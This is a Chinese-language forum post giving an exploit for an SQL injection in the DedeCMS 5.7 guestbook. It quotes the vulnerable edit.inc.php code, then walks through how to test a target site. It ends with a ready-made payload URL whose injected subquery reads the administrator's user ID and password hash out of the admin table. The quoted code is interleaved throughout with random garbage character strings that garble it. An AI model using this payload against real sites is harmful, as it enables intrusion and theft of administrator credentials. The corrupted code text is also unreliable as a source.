dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

: `% q2 ]$ u' J) C漏洞文件edit.inc.php具体代码：

< ?php  
* d' m- l  y6 }, \
if(!defined('DEDEINC')) exit('Request Error!');  
/ J: S8 h( f7 e2 S- Z' a: ^, j/ D
   
; i. [& V( g7 z( P/ ~/ D: r  C5 u
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

1 \2 Y8 X) e/ D( F) Y/ i! velse $GUEST_BOOK_POS = "guestbook.php";  

   
  p  g# O+ u& R
$id = intval($id);  
- _- p6 d7 q% ?9 k$ C0 t
% B9 L) P2 \# o7 W5 Gif(empty($job)) $job='view';  

   
$ j1 z4 s2 ^5 B* a3 K
# F$ ~5 A: X! \3 @2 H4 O! Cif($job=='del' && $g_isadmin)  
# ^1 O( _9 E2 P. x: m
) T# z( }$ p/ ~% I8 p{  
1 `" ~5 e# U5 l' T# {8 u: q* d
$ T5 Q0 f4 W! Z8 o! `0 V9 I% O3 o$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

& l& f4 r8 P% ^exit();  
" g4 A7 B4 x$ h* s& t6 Z) R
}  

else if($job=='check' && $g_isadmin)  
: v  j9 w5 h) P# N; \# i
{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

) ?. ?& v4 ~# [0 g4 ?" LShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

  u2 {0 D& k* s' gexit();  

; t7 C# r( ^+ `, X' X}  

else if($job=='editok')  
/ v0 v9 z$ \6 u$ M
{  

7 K5 D/ P, y" G* ]$remsg = trim($remsg);  
; X; X% X; ~) d  P
if($remsg!='')  
5 F1 _6 w8 J( }3 k( c; P
{  

% ?& l1 p, Z- i1 `+ A" D8 `//管理员回复不过滤HTML By:Errorera blog:errs.cc  

9 [; Q! y5 p' V# ~if($g_isadmin)  
' f+ }1 j: p. x
2 \  j8 r$ a# e2 W{  
+ N1 r- v5 z$ E
9 [- ?' f% |/ A. v$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

3 d% l0 v* v8 {' a3 N, h//$remsg <br /><font color=red>管理员回复：</font> }  

; G. l7 I" }$ t) X0 y, G0 B8 Y9 A7 Belse
+ x& X# e3 d" O; ~5 o
{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

  n# W6 }3 F" s, V# t- E& X" M$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

}  
9 Y0 ~# S. B2 O1 }5 u
) _+ i( }3 k! Q  f+ d}  

! I7 E. X1 i! W//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
9 T, T" g8 I- v. b
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
' P% {( Q! i: i( G8 B/ I+ o! }
- G! ?3 Q# Q# C$ b# TShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

; T; D& F/ C7 v$ J  Qexit();  
# b1 L3 T# u* s
8 ~, ~4 J/ s2 K7 ^1 X! A5 \+ K}  
. ?2 H2 w4 a% N( H  x  }5 D
//home:www.errs.cc  
; p* R. C7 j7 ^9 R, m
if($g_isadmin)  
) n2 H* D( U8 c9 i& r
5 n5 U: R2 d$ A. Q{  
: [1 f# C/ {4 J0 f* A# Q- r/ d
5 g& X4 J, D4 |9 U0 D8 U# D$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
4 a( T1 |5 o3 P& k/ Z- q
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
/ k+ J+ C# M) ?5 B4 `! L/ ]
; I5 K; E. }4 F' M* I& l}  

5 ]9 R& {* V+ d4 Jelse
7 D6 A5 B; F! _' _" M: Z) Y, E
{  
7 c6 {( E0 R" s% H' G: c
$ D: y- g0 G1 v2 o$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

! M% `1 ]9 R( R} 漏洞成功需要条件：
% |0 B% H! a5 q* j( x2 q. n: w1. php magic_quotes_gpc=off
1 K. `9 V# q; f# U/ Z2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
3 R9 M* Z* e3 g& q9 o, d
怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
5 u/ T8 t0 t) ?( Y. h- S! o2 f访问：
8 M- z9 F# W# g5 j
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* c6 t& L4 g+ ]" t/ i0 |

明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 d  Q, d; x$ @如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
* a( g0 |3 x! X" V7 q0 V* N- x* t那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

2 P- G" A' c, @+ n& K大概利用就是这样，大家有兴趣的多研究下！！
3 `3 J4 Z7 M. _% t. x
- Q5 t5 f2 A8 g4 Q最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
' E7 e5 a/ J$ d
5 B( }: m6 L1 I: B1 G1 V! X0 ?, iview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='